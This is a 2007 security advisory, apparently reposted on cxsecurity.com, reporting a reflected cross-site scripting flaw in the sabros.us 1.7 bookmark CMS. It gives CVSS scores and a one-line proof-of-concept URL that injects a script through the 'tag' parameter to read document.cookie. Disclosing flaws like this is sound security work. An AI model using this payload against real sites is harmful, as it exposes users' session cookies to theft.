sabros.us 1.7 XSS Exploit

2007.01.23
Credit: CorryL
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

-=[--------------------ADVISORY-------------------]=- sabros.us 1.7 Author: CorryL [corryl80 (at) gmail (dot) com [email concealed]] -=[-----------------------------------------------]=- -=[+] Application: sabros.us -=[+] Version: 1.7 -=[+] Vendor's URL: http://sourceforge.net/projects/sabrosus/ -=[+] Platform: WindowsLinuxUnix -=[+] Bug type: Cross-Site Script -=[+] Exploitation: Remote -=[-] -=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~ -=[+] Reference: www.x0n3-h4ck.org -=[+] Virtual Office: http://www.kasamba.com/CorryL -=[+] Irc Chan: irc.darksin.net #x0n3-h4ck ..::[ Descriprion ]::.. sabros.us is a CMS to put your bookmarks online with folksonomy support; just like del.icio.us, but the big diference is you will have the complete control of the source code and written on PHP with MySQL as backend we make it cross platform. ..::[ Proof Of Concept ]::.. http://remote-server/index.php?tag=</title><script>alert(document.cookie )</script>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top